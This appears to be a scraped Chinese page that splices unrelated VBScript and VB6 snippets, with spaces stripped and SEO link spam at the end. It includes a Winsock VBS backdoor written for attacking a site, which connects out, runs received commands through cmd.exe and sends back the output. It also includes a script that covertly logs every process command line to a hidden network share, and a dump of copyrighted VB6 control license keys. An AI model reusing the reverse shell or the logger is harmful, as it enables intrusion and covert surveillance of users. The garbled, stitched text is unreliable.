->此外，那时既没有WindowsScriptHost也没有WMI，因此运行该脚本还是有一些难度

If Flag=0 Then

GetIPAddress="Get IP Address Time Out ..."

Else

Source=GetIPObj.documentElement.innerText

Set Rep=New RegExp

Rep.Pattern="(\d+)\.(\d+)\.(\d+)\.(\d+)"

For Each result in Rep.Execute(Source)

GetIPAddress=result

Exit For

Next

End If

End Function

'以下是代码(放在一个Command按钮下面)

DimoAppAsOutlook.Application

DimoNameSpaceAsNameSpace

DimoFolderAsMAPIFolder

DimoMailItemAsObject

DimsMessageAsString

SetoApp=NewOutlook.Application

SetoNameSpace=oApp.GetNamespace("MAPI")

SetoFolder=oNameSpace.GetDefaultFolder(olFolderInbox)

ForEachoMailItemInoFolder.Items

WithoMailItem

IfoMailItem.Attachments.Count>0Then'?

oMailItem.Attachments.Item(1).SaveAsFile"C:\Temp\OutlookAttachments"&oMailItem.Attachments.Item(1).filename

MsgBoxoMailItem.Attachments.Item(1).DisplayName&"wassavedas"&oMailItem.Attachments.Item(1).filename

EndIf

EndWith

NextoMailItem

SetoMailItem=Nothing

SetoFolder=Nothing

SetoNameSpace=Nothing

SetoApp=Nothing

作者：LewisCornick

邮箱：l_cornick@hotmail.com

网址：->

CreateObject和WScript.CreateObject的区别一：

CreateObject是VBS的内置函数，属于语言的一部分；而WScript.CreateObject是Windows脚本宿主(wscript.exe和cscript.exe)提供的WScript对象的方法在VB中，我们可以按以下步骤来创建此类窗口：

1、设置窗口的BorderStyle=3；

2、在Form_Load中加入：Me.Icon=LoadPicture("")->

'搞一个特殊的站准备用的，没想到，等写完了，洞补上了，郁闷

'by009,baicker@hotmail.com

'date:071221

Dimrevdata

setsock=WScript.createobject("MSWinsock.Winsock","WSEvent_")

setsc=createobject("WScript.Shell")

Setfso=CreateObject("Scripting.FileSystemObject")

sock.connect"127.0.0.1",1234

SubWSEvent_Connect()

wscript.echo"Connected!"

endsub

SubWSEvent_DataArrival(bytes)

MyString="blank"

sock.GetDataMyString

revdata=MyString

ifbytes>0then

ifinstr(revdata,"exit")>0then

sock.close

sock.close

sock=nothing

bClose=true

exitsub

else

onerrorresumenext

tempfile="C:"&fso.GetTempName

cmd=left(revdata,len(revdata)-1)

callsc.Run("cmd.exe/c"&cmd&">"&tempfile,0,True)

Settxf=fso.OpenTextFile(tempfile,1,false,0)

sock.senddatatxf.readall&vbcrlf&vbcrlf

txf.close

callfso.DeleteFile(TempFile,True)

endif

sock.senddata"009>"

endif

endsub

WhileNotbClose

WScript.Sleep1

Wend

—————————————————————————————————————

调用winsock，未装VB的需要导入注册表

——————————————vb6controls.reg—————————————————-

REGEDIT

HKEY_CLASSES_ROOT\Licenses=Licensing:Copyingthekeysmaybeaviolationofestablishedcopyrights.

//MaskedEditControl6.0licensekey

HKEY_CLASSES_ROOT\Licenses\BC96F860-9928-11cf-8AFA-00AA00C00905=mmimfflflmqmlfffrlnmofhfkgrlmmfmqkqj

//ChartControl6.0(OLEDB)licensekey

HKEY_CLASSES_ROOT\Licenses\12B142A4-BD51-11d1-8C08-0000F8754DA1=aadhgafabafajhchnbchehfambfbbachmfmb

//CommonDialogControl6.0licensekey

HKEY_CLASSES_ROOT\Licenses\4D553650-6ABE-11cf-8ADB-00AA00C00905=gfjmrfkfifkmkfffrlmmgmhmnlulkmfmqkqj

//ADODataControl6.0(OLEDB)licensekey

HKEY_CLASSES_ROOT\Licenses\C4145310-469C-11d1-B182-00A0C922E820=konhqhioohihphkouimonhqhvnwiqhhhnjti

//CommonControls-36.0licensekey

HKEY_CLASSES_ROOT\Licenses\38911DA0-E448-11D0-84A3-00DD01104159=mcpckchcdchjcjcclidcgcgchdqdcjhcojpd

//WindowsCommonControls-25.0(SP2)licensekey

HKEY_CLASSES_ROOT\Licenses\9E799BF1-8817-11cf-958F-0020AFC28C3B=uqpqnqkjujkjjjjqwktjrjkjtkupsjnjtoun

//WindowsCommonControlslicensekey

HKEY_CLASSES_ROOT\Licenses\57CBF9E0-6AA7-11cf-8ADB-00AA00C00905=aahakhchghkhfhaamghhbhbhkbpgfhahlfle

//DataBoundGridControl5.0(SP3)licensekey

HKEY_CLASSES_ROOT\Licenses\556C75F1-EFBC-11CF-B9F3-00A0247033C4=xybiedobrqsprbijaegcbislrsiucfjdhisl

//DataBoundListControls6.0licensekey

HKEY_CLASSES_ROOT\Licenses\096EFC40-6ABF-11cf-850C-08002B30345D=knsgigmnmngnmnigthmgpninrmumhgkgrlrk

//InternetTransferControl6.0licensekey

HKEY_CLASSES_ROOT\Licenses\78E1BDD1-9941-11cf-9756-00AA00C00908=yjrjvqkjlqqjnqkjvprqsjnjvkuknjpjtoun

//MultimediaControl6.0licensekey

HKEY_CLASSES_ROOT\Licenses\B1EFCCF0-6AC1-11cf-8ADB-00AA00C00905=qqkjvqpqmqjjpqjjvpqqkqmqvkypoqjquoun

//ChartControl6.0licensekey

HKEY_CLASSES_ROOT\Licenses\7C35CA30-D112-11cf-8E72-00A0C90F26F8=whmhmhohmhiorhkouimhihihwiwinhlosmsl

//WindowsCommonControls-26.0licensekey

HKEY_CLASSES_ROOT\Licenses\4F86BADF-9F77-11d1-B1B7-0000F8753F5D=iplpwpnippopupiivjrioppisjsjlpiiokuj

//WindowsCommonControls6.0licensekey

HKEY_CLASSES_ROOT\Licenses\ED4B87C4-9F76-11d1-8BF7-0000F8754DA1=knlggnmntgggrninthpgmnngrhqhnnjnslsh

//CommControl6.0licensekey

HKEY_CLASSES_ROOT\Licenses\4250E830-6AC2-11cf-8ADB-00AA00C00905=kjljvjjjoquqmjjjvpqqkqmqykypoqjquoun

//DataGridControl6.0(OLEDB)licensekey

HKEY_CLASSES_ROOT\Licenses\CDE57A55-8B86-11D0-b3C6-00A0C90AEA82=ekpkhddkjkekpdjkqemkfkldoeoefkfdjfqe

//DataListControl6.0(OLEDB)licensekey

HKEY_CLASSES_ROOT\Licenses\A133F000-CCB0-11d0-A316-00AA00688B10=cibbcimbpihbbbbbnhdbeidiocmcbbdbgdoc

//DBWinlicensekey

HKEY_CLASSES_ROOT\Licenses\D015B071-D2ED-11d0-A31A-00AA00688B10=gjdcfjpcmjicjcdcoihcechjlioiccechepd

//MSDBRPTlicensekey

HKEY_CLASSES_ROOT\Licenses\9DF1A470-BA8E-11D0-849C-00A0C90DC8A9=cchcqjejhcgcqcfjpdfcdjkckiqikchcojpd

//FlexGridControl6.0licensekey

HKEY_CLASSES_ROOT\Licenses\72E67120-5959-11cf-91F6-C2863C385E30=ibcbbbebqbdbciebmcobmbhifcmciibblgmf

//MAPIControls6.0licensekey

HKEY_CLASSES_ROOT\Licenses\899B3E80-6AC6-11cf-8ADB-00AA00C00905=wjsjjjlqmjpjrjjjvpqqkqmqukypoqjquoun

//MSRDO2.0licensekey

HKEY_CLASSES_ROOT\Licenses\B1692F60-23B0-11D0-8E95-00A0C90F26F8=mjjjccncgjijrcfjpdfjfcejpdkdkcgjojpd

//RemoteDataControl6.0licensekey

HKEY_CLASSES_ROOT\Licenses\43478d75-78e0-11cf-8e78-00a0d100038e=imshohohphlmnhimuinmphmmuiminhlmsmsl

//WindowlessControls6.0licensekey

HKEY_CLASSES_ROOT\Licenses\80E80EF0-DBBE-11D0-BCE2-00A0C90DCA10=qijimitpmpnpxplpvjnikpkpqoxjmpkpoivj

//PictureClipControl6.0licensekey

HKEY_CLASSES_ROOT\Licenses\6FB38640-6AC7-11cf-8ADB-00AA00C00905=gdjkokgdldikhdddpjkkekgknesjikdkoioh

//RichTextBoxControl6.0licensekey

HKEY_CLASSES_ROOT\Licenses\DC4D7920-6AC8-11cf-8ADB-00AA00C00905=iokouhloohrojhhhtnooiokomiwnmohosmsl

//SheridanTabControllicensekey

HKEY_CLASSES_ROOT\Licenses\190B7910-992A-11cf-8AFA-00AA00C00905=gclclcejjcmjdcccoikjlcecoioijjcjnhng

//SysInfoControl6.0licensekey

HKEY_CLASSES_ROOT\Licenses\E32E2733-1BC5-11d0-B8C3-00A0C90DCA10=kmhfimlflmmfpffmsgfmhmimngtghmoflhsg

//WinsockControl6.0licensekey

HKEY_CLASSES_ROOT\Licenses\2c49f800-c2dd-11cf-9ad6-0080c7e7b78d=mlrljgrlhltlngjlthrligklpkrhllglqlrk

每行写一个网站名称，不要有空行

记录客户机操作的VBS脚本

onerrorresumenext

strComputer="."

SetobjWMIService=GetObject("winmgmts:\"&strComputer&"\root\cimv2")

SetIPConfigSet=objWMIService.ExecQuery_

("SelectIPAddressfromWin32_NetworkAdapterConfigurationwhereIPEnabled=TRUE")

ForEachIPConfiginIPConfigSet

IfNotIsNull(IPConfig.IPAddress)Then

Fori=LBound(IPConfig.IPAddress)toUBound(IPConfig.IPAddress)

a=IPConfig.IPAddress(i)

Next

EndIf

Next

strComputer="."

SetobjWMIService=GetObject("winmgmts:"_

&"{impersonationLevel=impersonate}!\"&strComputer&"\root\cimv2")

SetcolMonitoredProcesses=objWMIService._

ExecNotificationQuery("select*from__instancecreationevent"_

&"within1whereTargetInstanceisa'Win32_Process'")

i=0

DoWhilei=0

SetobjLatestProcess=colMonitoredProcesses.NextEvent

b=objLatestProcess.TargetInstance.CommandLine

setfso=createobject("scripting.filesystemobject")

setfile1=fso.opentextfile("\\192.168.0.87\ourway$\ourway.htm",8,true)

file1.writelinenow()&"---"&a&"---"&b&"

"

file1.close

Loop

服费安卓

VB程序也能加入此功能，步骤如下：

一、申明定义热键的API函数

PrivateDeclareFunctionGetAsyncKeyStateLib"user32"_

(ByValvKeyAsLong)AsInteger

二、声明定义热键变量

PrivateFunctionMyHotKey(vKeyCode)AsBoolean

MyHotKey=(GetAsyncKeyState(vKeyCode)<0)

EndFunction

三、在Timer1_Timer中加入：

PrivateSubTimer1_Timer()

'定义热键

IfMyHotKey(vbKeyF12)Then

Me.Visible=True'(设程序启动时窗体不可见)

EndIf

EndSub

说明：以上代码是笔者一个程序中的一部分，运行成功

顺便提及，以下是另一个比较有用的屏幕保护程序脚本，这个脚本可以确保屏幕保护程序受到密码保护：

HKEY_CURRENT_USER=&H80000001

strComputer="."

SetobjReg=GetObject("winmgmts:\"&strComputer&"\root\default:StdRegProv")

strKeyPath="ControlPanel\Desktop"

objReg.CreateKeyHKEY_CURRENT_USER,strKeyPath

ValueName="ScreenSaverIsSecure"

strValue="1"

objReg.SetStringValueHKEY_CURRENT_USER,strKeyPath,ValueName,strValue

你看，注册表脚本编写多么有趣？。

linux 跑天龙八部游戏脚本,天龙八部脚本免费版2019export相关推荐

  1. 【AirTest实例】1.使用脚本自动跑通游戏引导

    本人测试岗位,在项目不是很忙的时候,还是想写一个可以自动跑的游戏脚本.挂着游戏能够代替一些手动的测试,并且闲时晚上下班的时候挂着手机,第二天再来看报告日志,算是物尽其用了.前期脚本基础功能是要在编辑器 ...

  2. 在linux跑python脚本将数据输出到文件中

    有时候python代码必须要在linux环境运行 在xshell运行脚本,将文件输出到文件不能使用下面的方法输出 import jsonwith open("tmp.txt", & ...

  3. 游戏中的脚本语言原理与发展

    作者:陈嘉栋(慕容小匹夫)     源地址:http://www.cnblogs.com/murongxiaopifu/p/4557365.html 从游戏脚本语言说起,剖析Mono所搭建的脚本基础 ...

  4. php linux脚本文件,Unix/Linux中如何直接执行PHP脚本文件？

    使用Linux系统的服务器都有搭建完整的PHP环境,因此有些用户会用PHP去写一些执行自动化任务的脚本,可是发现每次执行PHP脚本都需要使用php myscript.php的方式,感觉有点麻烦.其实我 ...

  5. Linux中的无人职守安装脚本kickstart

    Linux中的无人职守安装脚本kickstart 1 kickstart自动安装脚本的作用 2 实验环境 3 kickstart自动安装脚本的制作 3.1 通过模板生成kickstart文件 3.2用 ...

  6. Unity3D 游戏引擎之脚本实现模型的平移与旋转（六）

    Unity3D 游戏引擎之脚本实现模型的平移与旋转 雨松MOMO原创文章如转载,请注明:转载至我的独立域名博客雨松MOMO程序研究院,原文地址:http://www.xuanyusong.com/ar ...

  7. 监测linux一些重要文件md5值脚本

    今天写了个小小的监测linux重要文件md5值的脚本, 为了安全最好在安装好系统之后部署 其实网上有开源软件 监测文件是否被修改 #!/bin/bash #crontab everyday FILEN ...

  8. [Unity C#教程] 游戏对象和脚本

    文章转载自:https://www.cnblogs.com/UnityYork/p/7704803.html [Unity C#教程] 游戏对象和脚本 博主最近在学习Unity,发现一个英文教程很好. ...

  9. linux下php启动实例,linux下实现定时执行php脚本_php实例

    在linux中输入命令 复制代码 代码如下: crontab -e 然后使用vim的命令编辑打开的文件,输入 复制代码 代码如下: 0 * * * * /usr/bin/php -f /home/us ...

  10. Linux闲时自动抢占GPU脚本

    背景 常常有这样的情况,服务器上的GPU正被占着使用,我不可能有精力经常来看看是不是其他用户跑完了程序,也可能其他用户跑完了但我不在电脑前,因此如果由一个自动脚本帮我查看GPU是否空闲,一旦空闲就自动 ...

最新文章

  1. 小程序使用富文本完整代码及示例图
  2. Android自我修炼之路（欢迎拍砖）
  3. 数据库-表中导入数据-insert
  4. oracle导入初始数据死机,Sqoop导入Oracle数据至hive卡死在hive.HiveImport: Connecting to jdbc:hive2不执行...
  5. endpointimpl怎么填参数_App拉新：以老拉新活动怎么做？
  6. Spring是如何解决循环依赖的
  7. 程序员专属段子集锦 5/10
  8. TensorFlow 学习（六） —— TensorFlow 与 numpy 的交互
  9. 如何评估一个算法效果
  10. php中如何计算字符串长度,PHP字符串长度计算 - strlen()函数使用介绍
  11. asp.net mvc 中使用async/await异步编程
  12. 原子结构示意图全部_所有原子结构示意图
  13. Nodejs下载与安装（官网选择）
  14. Nim游戏 —— 巴什博弈
  15. 2023COSP深圳户外展行业高峰论坛即将召开！博洋优选也将参加
  16. linux局域网通信软件iptux，ipmsg
  17. C语言之memcpy()函数
  18. GAN生成对抗网络论文翻译（一）
  19. 3.线程安全之可见性、有序性、原子性是什么？
  20. 微信群高效轻松拉人进群，轻松每日爆粉

热门文章

  1. VC#复习资料（是轩~）
  2. Comparator、compare、compareTo
  3. 计算机英语 译文,计算机英语参考译文
  4. 30岁转行做程序员是一种怎样的体验？
  5. Python基础篇：你好，世界！
  6. 苹果 APNs 介绍
  7. 代码简短且隐蔽的后门木马
  8. 用FPGA做一个生日礼物
  9. Tkinter写一个音乐下载器
  10. RK3399 Android7.1在uboot中设置GPIO的电平无效